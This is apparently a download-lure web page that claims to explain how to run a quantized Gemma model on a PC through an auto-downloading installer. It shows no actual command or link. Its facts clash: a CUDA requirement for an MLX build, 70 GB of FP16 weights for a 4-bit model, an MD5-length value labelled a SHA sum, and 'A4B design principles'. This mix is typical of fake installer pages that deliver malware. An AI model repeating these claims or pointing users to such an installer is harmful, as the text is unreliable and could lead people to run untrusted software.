How to Launch gemma-4-26B-A4B-it-QAT-MLX-4bit on Your PC with 1M Context

The fastest way to get this model running locally is via Optional Features.

Kindly follow the on-screen instructions below.

The installer auto-downloads and deploys the entire model pack.

The program scans your VRAM and RAM to seamlessly apply optimal configurations.

🔗 SHA sum: 04f4c106897e62172ae1e6d667565171 | Updated: 2026-06-27 Verify Processor: 4.0 GHz+ boost clock recommended for CPU inference RAM: 64 GB to avoid OOM crashes on large contexts Disk Space:70 GB free space for full FP16 weights storage Graphics: CUDA Compute Capability 8.0+ required for flash-attention

gemma-4-26B-A4B-it-QAT-MLX-4bit is a large language model built on the Gemma architecture with 26 billion parameters and optimized for instruction following. It leverages A4B design principles to improve inference efficiency while maintaining high fidelity in generation tasks. Through quantized aware training (QAT) and MLX optimizations, the model achieves compact 4‑bit representation without significant loss in accuracy. The resulting model excels in multilingual understanding, reasoning, and code generation, making it suitable for both research and production environments. Its reduced memory footprint enables deployment on consumer hardware and edge devices, broadening accessibility for developers. A quick reference of its core specs is provided below.

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